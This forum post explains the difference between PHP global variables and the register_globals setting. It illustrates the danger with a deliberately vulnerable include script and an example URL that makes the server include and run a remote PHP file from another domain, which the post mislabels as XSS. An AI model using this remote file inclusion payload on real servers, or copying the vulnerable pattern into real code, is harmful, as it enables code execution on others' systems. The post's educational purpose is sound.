
Originally Posted by
twhiting9275
Here's my 0.02:
globals themselves are not bad, as long as you secure them. The problem is that wanna be coders get in there and write crappy scripts cheaply , and decide 'hey, we're just not going to secure our globals at all'. This (of course) leads to hacking, problems, and just all around bad things.
Now, should they be required on or off? Well, as of php6, you won't have a choice. Thank the gods that's not for a while, but still, it'll happen, eventually. Personally, I'm still getting ready for that day (I do use a few globals, properly secured, of course), but it'll be a bloody nightmare when everything gets there.
Personally, I say leave 'em on ,for now. When PHP makes you turn 'em off, do so, but not until. Otherwise, this will cause some HUGE problems with pretty common software.
Note that globals (global variables) is a completely different thing from register_globals. Anyone who is spending enough time to secure their PHP scripts will likely spend a few seconds to avoid the need for register_globals.
If you're not familiar with global variables from a programming standpoint, here's a link to the Wikipedia article on it:
http://en.wikipedia.org/wiki/Global_variable
In PHP, register_globals allows any parameter passed to the script to be assigned to a global variable (including overwriting the values of existing global variables, hence the danger of this setting). Let's say you have this PHP script named exploit_me.php:
PHP Code:
// Warning: never code like this in a register_globals environment
$include_file = "myinclude.inc";
// Note the lack of anything polling GET or POST variables explicitly.
include($include_file);
Now lets say you call this URL:
Code:
http://yourDomain.com/exploit_me.php?include_file=http://myDomain.com/xss.php
My XSS script would then run on your server since you have register_globals enabled and I'm overwriting the include_file global variable with my own data.
While this is an obvious example, don't expect the this to be as obvious in many scripts. How do people know what variables you are using? Well most scripts people use are open source so you can just look at the source.
I hope this clears some misconceptions of register_globals vs. PHP global variables.